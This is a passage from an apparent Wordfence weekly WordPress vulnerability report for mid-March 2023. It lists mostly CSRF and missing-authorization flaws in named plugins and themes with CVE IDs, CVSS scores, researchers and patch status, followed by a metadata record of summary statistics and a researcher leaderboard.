**Researcher/s**: [Pavak Tiwari](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/pavak-tiwari>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e7465ca4-21e8-4935-b294-e7378b2b01a7>
* * *
#### [Slideshow Gallery LITE <= 1.7.6 - Cross-Site Request Forgery via admin_galleries](<https://wordfence.com/threat-intel/vulnerabilities/id/0a598274-3c67-4751-94d6-49abed38422c>)
**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>)
**CVE ID**: CVE-2023-28497
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/0a598274-3c67-4751-94d6-49abed38422c>
* * *
#### [Google XML Sitemap for Images <= 2.1.3 - Cross-Site Request Forgery via image_sitemap_generate](<https://wordfence.com/threat-intel/vulnerabilities/id/1165c68d-3da4-45f3-b054-4904e54d18ac>)
**Affected Software**: [Google XML Sitemap for Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-image-sitemap>)
**CVE ID**: CVE-2023-28173
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/1165c68d-3da4-45f3-b054-4904e54d18ac>
* * *
#### [Slideshow Gallery LITE <= 1.7.6 - Cross-Site Request Forgery via admin_slides](<https://wordfence.com/threat-intel/vulnerabilities/id/164ec659-e1a6-4267-b6e9-4e37a402e503>)
**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>)
**CVE ID**: CVE-2023-28497
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/164ec659-e1a6-4267-b6e9-4e37a402e503>
* * *
#### [Real Estate Directory <= 1.0.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/17031e21-e697-4e01-8848-c3957f5dac7f>)
**Affected Software**: [Real Estate Directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>)
**CVE ID**: CVE-2023-28532
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/17031e21-e697-4e01-8848-c3957f5dac7f>
* * *
#### [LOGIN AND REGISTRATION ATTEMPTS LIMIT <= 2.1 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/257052f4-2b0a-4604-befd-651dc338b3d5>)
**Affected Software**: [LOGIN AND REGISTRATION ATTEMPTS LIMIT](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/login-attempts-limit-wp>)
**CVE ID**: CVE-2022-47138
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/257052f4-2b0a-4604-befd-651dc338b3d5>
* * *
#### [Chronoforms <= 7.0.9 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/2c02b9b2-b41e-4a30-b69a-9cdae86dd7a7>)
**Affected Software**: [Chronoforms](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/chronoforms>)
**CVE ID**: CVE-2022-47135
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/2c02b9b2-b41e-4a30-b69a-9cdae86dd7a7>
* * *
#### [Real Estate Directory <= 1.0.5 - Cross-Site Request Forgery via rdm_activate_plugin](<https://wordfence.com/threat-intel/vulnerabilities/id/39a50c49-5c24-4ae7-8f77-4f3d98270f8f>)
**Affected Software**: [Real Estate Directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>)
**CVE ID**: CVE-2023-28532
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/39a50c49-5c24-4ae7-8f77-4f3d98270f8f>
* * *
#### [CP Multi View Event Calendar <= 1.4.10 - Missing Authentication leading to Authenticated (Subscriber+) Private Form Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/49ebff14-ce09-4607-8246-50ae028957f6>)
**Affected Software**: [Calendar Event Multi View](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-multi-view-calendar>)
**CVE ID**: CVE-2023-28492
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/49ebff14-ce09-4607-8246-50ae028957f6>
* * *
#### [Customify <= 2.10.4 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/4b1c0ee5-5329-411c-8030-14bec586d74d>)
**Affected Software**: [Customify – Intuitive Website Styling](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/customify>)
**CVE ID**: CVE-2023-27633
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/4b1c0ee5-5329-411c-8030-14bec586d74d>
* * *
#### [Fluid Checkout for WooCommerce – Lite <= 2.3.1 - Cross-Site Request Forgery via dismiss_notice](<https://wordfence.com/threat-intel/vulnerabilities/id/5c8caf17-7844-4f26-b989-d29593b3ffda>)
**Affected Software**: [Fluid Checkout for WooCommerce – Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluid-checkout>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5c8caf17-7844-4f26-b989-d29593b3ffda>
* * *
#### [Website Monetization by MageNet <= 1.0.29.1 - Cross-Site Request Forgery via admin_magenet_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/5f1f3562-f869-4442-b77f-c06c5683c1b2>)
**Affected Software**: [Website Monetization by MageNet](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/website-monetization-by-magenet>)
**CVE ID**: CVE-2023-22673
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5f1f3562-f869-4442-b77f-c06c5683c1b2>
* * *
#### [Bulk Resize Media <= 1.1 - Cross-Site Request Forgery via bulk_resize_resize_image](<https://wordfence.com/threat-intel/vulnerabilities/id/605fbfb9-85d8-43ff-a738-ad1a8a9584c3>)
**Affected Software**: [Bulk Resize Media](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bulk-resize-media>)
**CVE ID**: CVE-2022-46865
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/605fbfb9-85d8-43ff-a738-ad1a8a9584c3>
* * *
#### [Import External Images <= 1.4 - Cross-Site Request Forgery via [placeholder]](<https://wordfence.com/threat-intel/vulnerabilities/id/6785be1c-85d4-48f1-be15-275c71284b3e>)
**Affected Software**: [Import External Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/import-external-images>)
**CVE ID**: CVE-2022-46866
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/6785be1c-85d4-48f1-be15-275c71284b3e>
* * *
#### [Reusable Blocks Extended <= 0.9 - Cross-Site Request Forgery via reblex_reusable_screen_block_pattern_registration](<https://wordfence.com/threat-intel/vulnerabilities/id/67c2cac8-c3cf-46d1-a592-229081bc31e1>)
**Affected Software**: [Reusable Blocks Extended](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/reusable-blocks-extended>)
**CVE ID**: CVE-2023-27611
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/67c2cac8-c3cf-46d1-a592-229081bc31e1>
* * *
#### [WP Shortcode by MyThemeShop <= 1.4.16 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/763fec04-72c5-4910-af97-f58b5b69a02e>)
**Affected Software**: [WP Shortcode by MyThemeShop](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-shortcode>)
**CVE ID**: CVE-2023-28495
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/763fec04-72c5-4910-af97-f58b5b69a02e>
* * *
#### [WP Basic Elements <= 5.2.15 - Cross-Site Request Forgery via wpbe_save_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/78e79423-7b69-4d85-a939-96eb5385624c>)
**Affected Software**: [WP Basic Elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>)
**CVE ID**: CVE-2022-47139
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/78e79423-7b69-4d85-a939-96eb5385624c>
* * *
#### [Dynamics 365 Integration <= 1.3.12 - Cross-Site Request Forgery via wp_ajax_wpcrm_log](<https://wordfence.com/threat-intel/vulnerabilities/id/7945110e-2a9d-4e0e-b0e8-77c16694993b>)
**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7945110e-2a9d-4e0e-b0e8-77c16694993b>
* * *
#### [Hotel Booking Lite <= 4.6.0 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/7a874287-c648-4807-8387-b0b47187651e>)
**Affected Software**: [Hotel Booking Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motopress-hotel-booking-lite>)
**CVE ID**: CVE-2023-28498
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7a874287-c648-4807-8387-b0b47187651e>
* * *
#### [CF7 Invisible reCAPTCHA <= 1.3.3 - Cross-Site Request Forgery via vsz_cf7_invisible_recaptcha_page](<https://wordfence.com/threat-intel/vulnerabilities/id/8fa1048e-bdcd-41d1-a7c4-196731a60843>)
**Affected Software**: [CF7 Invisible reCAPTCHA](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-invisible-recaptcha>)
**CVE ID**: CVE-2023-28167
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8fa1048e-bdcd-41d1-a7c4-196731a60843>
* * *
#### [HT Feed <= 1.2.7 - Cross-Site Request Forgery leading to Limited Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/95723482-a6c5-4e95-a88d-c50a88108715>)
**Affected Software**: [HT Feed](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ht-instagram>)
**CVE ID**: CVE-2023-23804
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/95723482-a6c5-4e95-a88d-c50a88108715>
* * *
#### [Contact Form Email <= 1.3.31 - Missing Authorization to Feedback Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/9596c243-4099-420a-aa2a-381b6299f927>)
**Affected Software**: [Contact Form Email](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-to-email>)
**CVE ID**: CVE-2023-28494
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/9596c243-4099-420a-aa2a-381b6299f927>
* * *
#### [Custom Options Plus <= 1.8.1 - Cross-Site Request Forgery via custom_options_plus_adm](<https://wordfence.com/threat-intel/vulnerabilities/id/97c8858a-f05d-4159-b914-4e6ae9bf0d79>)
**Affected Software**: [Custom Options Plus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-options-plus>)
**CVE ID**: CVE-2023-28420
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Justiice](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/justiice>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/97c8858a-f05d-4159-b914-4e6ae9bf0d79>
* * *
#### [Store Locator <= 3.98.7 - Cross-Site Request Forgery to Settings Update](<https://wordfence.com/threat-intel/vulnerabilities/id/98ae3315-8361-43bb-be2c-1564f4df8d5b>)
**Affected Software**: [Store Locator for WordPress with Google Maps – LotsOfLocales](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/store-locator>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/98ae3315-8361-43bb-be2c-1564f4df8d5b>
* * *
#### [Dynamics 365 Integration <= 1.3.12 - Cross-Site Request Forgery via wp_ajax_wpcrm_log_verbosity](<https://wordfence.com/threat-intel/vulnerabilities/id/98e0d103-2369-4c6a-93ae-6be2a1770bae>)
**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/98e0d103-2369-4c6a-93ae-6be2a1770bae>
* * *
#### [Contact Form 7 Redirect & Thank You Page <= 1.0.3 - Cross-Site Request Forgery via cf7rl_admin_table](<https://wordfence.com/threat-intel/vulnerabilities/id/99f831f2-fb96-4dc8-ba3d-6015fbc7e2e1>)
**Affected Software**: [Contact Form 7 Redirect & Thank You Page](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-redirect-thank-you-page>)
**CVE ID**: CVE-2023-24395
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/99f831f2-fb96-4dc8-ba3d-6015fbc7e2e1>
* * *
#### [WP-Advanced-Search <= 3.3.8 - Cross-Site Request Forgery leading to Plugin Settings Updates](<https://wordfence.com/threat-intel/vulnerabilities/id/a2ba21cd-d8f3-402a-b067-1758937d9eb4>)
**Affected Software**: [WordPress WP-Advanced-Search](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-advanced-search>)
**CVE ID**: CVE-2022-47447
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/a2ba21cd-d8f3-402a-b067-1758937d9eb4>
* * *
#### [Event Manager for WooCommerce <= 3.7.7 - Cross-Site Request Forgery leading to Uninstall Form Submission](<https://wordfence.com/threat-intel/vulnerabilities/id/af59eb6d-1ffa-4593-9bfc-f910d907f6e0>)
**Affected Software**: [Event Manager and Tickets Selling Plugin for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mage-eventpress>)
**CVE ID**: CVE-2022-47164
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/af59eb6d-1ffa-4593-9bfc-f910d907f6e0>
* * *
#### [Contact Form 7 – PayPal & Stripe Add-on <= 1.9.3 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/c0c13b83-6885-46db-bf33-0b2b63ff06db>)
**Affected Software**: [Contact Form 7 – PayPal & Stripe Add-on](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-7-paypal-add-on>)
**CVE ID**: CVE-2023-24405
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c0c13b83-6885-46db-bf33-0b2b63ff06db>
* * *
#### [WP Basic Elements <= 5.2.15 - Missing Authorization to Plugin Settings Update via wpbe_save_settings](<https://wordfence.com/threat-intel/vulnerabilities/id/d6516fc0-4ef8-423b-9cdb-a275996fd98b>)
**Affected Software**: [WP Basic Elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>)
**CVE ID**: CVE Unknown
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: Unknown
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d6516fc0-4ef8-423b-9cdb-a275996fd98b>
* * *
#### [Print Invoice & Delivery Notes for WooCommerce <= 4.7.2 - Cross-Site Request Forgery via ts_reset_tracking_setting](<https://wordfence.com/threat-intel/vulnerabilities/id/d811782e-3b59-4a46-9a2e-f24ef3dfbd4a>)
**Affected Software**: [Print Invoice & Delivery Notes for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-delivery-notes>)
**CVE ID**: CVE-2022-46795
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d811782e-3b59-4a46-9a2e-f24ef3dfbd4a>
* * *
#### [Chankhe <= 1.0.5 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/efa4b67c-1bb8-413a-8cb8-039168b0b586>)
**Affected Software**: [Chankhe](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/chankhe>)
**CVE ID**: CVE-2023-28416
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/efa4b67c-1bb8-413a-8cb8-039168b0b586>
* * *
#### [Google XML Sitemap for Videos <= 2.6.1 - Cross-Site Request Forgery via video_sitemap_generate](<https://wordfence.com/threat-intel/vulnerabilities/id/feb4f3dc-9abf-4ee3-834e-e5516652d810>)
**Affected Software**: [Google XML Sitemap for Videos](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/xml-sitemaps-for-videos>)
**CVE ID**: CVE-2023-25055
**CVSS Score**: 4.3 (Medium)
**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/feb4f3dc-9abf-4ee3-834e-e5516652d810>
* * *
_As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence._
This database is continuously updated, maintained, and populated by Wordfence’s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us using our CVE Request form, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.
[Click here to sign-up for our mailing list](<https://www.wordfence.com/subscribe-to-the-wordfence-email-list/>) to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.
The post [Wordfence Intelligence Weekly WordPress Vulnerability Report (Mar 13, 2023 to Mar 19, 2023)](<https://www.wordfence.com/blog/2023/03/wordfence-intelligence-weekly-wordpress-vulnerability-report-mar-13-2023-to-mar-19-2023/>) appeared first on [Wordfence](<https://www.wordfence.com>).
Related
{"id": "WORDFENCE:F7027F99D0A687FC30564B2086094AE1", "vendorId": null, "type": "wordfence", "bulletinFamily": "info", "title": "Wordfence Intelligence Weekly WordPress Vulnerability Report (Mar 13, 2023 to Mar 19, 2023)", "description": "Last week, there were 92 vulnerabilities disclosed in 76 WordPress Plugins and 7 WordPress themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 34 Vulnerability Researchers that contributed to WordPress Security last week. **Review those vulnerabilities in this report now to ensure your site is not affected.**\n\nOur mission with Wordfence Intelligence is to make valuable vulnerability information easily accessible to everyone, like the WordPress community, so individuals and organizations alike can utilize that data to make the internet more secure. That is why the Wordfence Intelligence user interface and vulnerability API are completely free to access and utilize both personally and commercially, and why we are running this weekly vulnerability report.\n\n_[Click here to sign-up for our mailing list](<https://www.wordfence.com/subscribe-to-the-wordfence-email-list/>) to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published. _\n\n* * *\n\n### New Firewall Rules Deployed Last Week\n\nThe Wordfence Threat Intelligence Team reviews each vulnerability to determine impact and severity, along with assessing the likelihood of exploitation, to verify that the Wordfence Firewall provides sufficient protection.\n\nThe team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:\n\n * [UpdraftPlus 1.22.14 to 1.23.2 and UpdraftPlus (Premium) 2.22.14 to 2.23.2 - Privilege Escalation via updraft_central_ajax_handler](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus/updraft-plus-12214-to-1232-privilege-escalation-via-updraft-central-ajax-handler>)\n * WAF-RULE-565 - Data redacted while we work with the developer to ensure the vulnerability protected by this WAF rule gets patched.\n\nWordfence Premium, Care, and Response customers received this protection immediately, while users still running the free version of Wordfence will receive this enhanced protection after a 30 day delay.\n\n* * *\n\n### Total Unpatched & Patched Vulnerabilities Last Week\n\n**Patch Status** | **Number of Vulnerabilities** \n---|--- \nUnpatched | 44 \nPatched | 48 \n \n* * *\n\n### Total Vulnerabilities by CVSS Severity Last Week\n\n**Severity Rating** | **Number of Vulnerabilities** \n---|--- \nLow Severity | 0 \nMedium Severity | 80 \nHigh Severity | 11 \nCritical Severity | 1 \n \n* * *\n\n### Total Vulnerabilities by CWE Type Last Week\n\n**Vulnerability Type by CWE** | **Number of Vulnerabilities** \n---|--- \nImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 37 \nCross-Site Request Forgery (CSRF) | 34 \nMissing Authorization | 13 \nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 3 \nInformation Exposure | 3 \nServer-Side Request Forgery (SSRF) | 1 \nImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') | 1 \n \n* * *\n\n### Researchers That Contributed to WordPress Security Last Week\n\n**Researcher Name** | **Number of Vulnerabilities** \n---|--- \n[Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) | 10 \n[Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) | 7 \n[Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) | 6 \n[rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) | 5 \n[Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) | 4 \n[minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>) | 3 \n[Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>) | 3 \n[yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>) | 3 \n[Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>) | 3 \n[Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>) | 3 \n[Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>) | 2 \n[Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>) | 2 \n[Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>) | 2 \n[TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>) | 2 \n[Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>) | 2 \n[Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>) | 2 \n[Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>) | 2 \n[Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>) | 2 \n[FearZzZz](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vlad-visse>) | 1 \n[Bhuvanesh Jayaprakash](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/bhuvanesh-jayaprakash>) | 1 \n[Erwan LR](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/erwan>) | 1 \n[Etan Imanol Castro Aldrete](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/etan-imanol-castro-aldrete>) | 1 \n[Dimas Aprilianto](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dimas-aprilianto>) | 1 \n[dc11](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dc11>) | 1 \n[Shreya Pohekar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/shreya-pohekar>) | 1 \n[Justiice](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/justiice>) | 1 \n[Nguyen Anh Tien](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nguyen-anh-tien>) | 1 \n[Vinay Kumar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vinay-kumar>) | 1 \n[Abdi Pranata](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/abdi-pranata>) | 1 \n[Brandon James Roldan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/brandon-james-roldan>) | 1 \n[Pavak Tiwari](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/pavak-tiwari>) | 1 \n[n0paew](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n0paew>) | 1 \n[Fariq Fadillah Gusti Insani](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/fariq-fadillah-gusti-insani>) | 1 \n[Le Ngoc Anh](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/le-ngoc-anh>) | 1 \n \n \n\n_Are you a security researcher who would like to be featured in our weekly vulnerability report?_ You can responsibly disclose your WordPress vulnerability discoveries to us and [obtain a CVE ID through this form](<https://www.wordfence.com/request-cve/>). Responsibly disclosing your vulnerability discoveries to us will also get your name added on the [Wordfence Intelligence leaderboard](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/>) along with being mentioned in our weekly vulnerability report.\n\n* * *\n\n### WordPress Plugins with Reported Vulnerabilities Last Week\n\n**Software Name** | **Software Slug** \n---|--- \nAdmin side data storage for Contact Form 7 | 